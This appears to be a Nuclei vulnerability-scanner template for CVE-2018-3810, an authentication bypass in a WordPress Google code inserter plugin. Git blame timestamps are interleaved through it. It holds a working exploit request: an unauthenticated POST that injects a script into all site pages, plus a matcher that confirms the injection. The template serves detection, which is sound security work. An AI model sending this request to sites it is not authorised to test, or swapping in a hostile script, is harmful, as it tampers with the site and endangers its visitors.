2021-03-10 11:36:11 +00:00
id : CVE-2018-3810
info :
2022-05-13 20:26:43 +00:00
name : Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass
2021-03-10 11:36:11 +00:00
author : princechaddha
severity : critical
2022-05-13 20:26:43 +00:00
description : Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can bypass authentication and gain unauthorized access to the affected WordPress site.
2023-09-06 12:57:14 +00:00
remediation : |
Update to the latest version of the Oturia WordPress Smart Google Code Inserter plugin (3.5 or higher) to fix the authentication bypass vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://www.exploit-db.com/exploits/43420
2022-05-13 20:26:43 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-3810
2022-05-17 09:18:12 +00:00
- https://wordpress.org/plugins/smart-google-code-inserter/#developers
- https://limbenjamin.com/articles/smart-google-code-inserter-auth-bypass.html
2023-07-11 19:49:27 +00:00
- https://wpvulndb.com/vulnerabilities/8987
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-3810
cwe-id : CWE-287
2024-04-08 11:34:33 +00:00
epss-score : 0.792
epss-percentile : 0.98197
2023-09-06 12:57:14 +00:00
cpe : cpe:2.3:a:oturia:smart_google_code_inserter:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : oturia
product : smart_google_code_inserter
2023-09-06 12:57:14 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2018,wordpress,google,edb,oturia
2021-03-10 11:36:11 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-10 11:36:11 +00:00
- method : POST
path :
- "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"
2023-07-20 07:43:09 +00:00
body : 'sgcgoogleanalytic=<script>console.log("document.domain")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode'
2023-07-11 19:49:27 +00:00
2021-03-12 12:02:16 +00:00
headers :
2021-03-10 11:36:11 +00:00
Content-Type : application/x-www-form-urlencoded
- method : GET
path :
2021-08-02 07:23:35 +00:00
- "{{BaseURL}}"
2021-03-10 11:36:11 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : header
2021-03-10 11:36:11 +00:00
words :
- "text/html"
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-03-10 11:36:11 +00:00
words :
2023-07-20 07:43:09 +00:00
- '<script>console.log("document.domain")</script>'
2021-03-10 11:36:11 +00:00
- type : status
status :
2022-01-04 19:34:16 +00:00
- 200
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100d0c850fd400436a8e489ad6955acb5a03eebf0d639a244b8a0c8de87f376f98f022100b294a58544858480eefec53c1bb24be8da9f0b86351b02e05f1f471dc2d6ce02:922c64590222798bb761d5b6d8e72950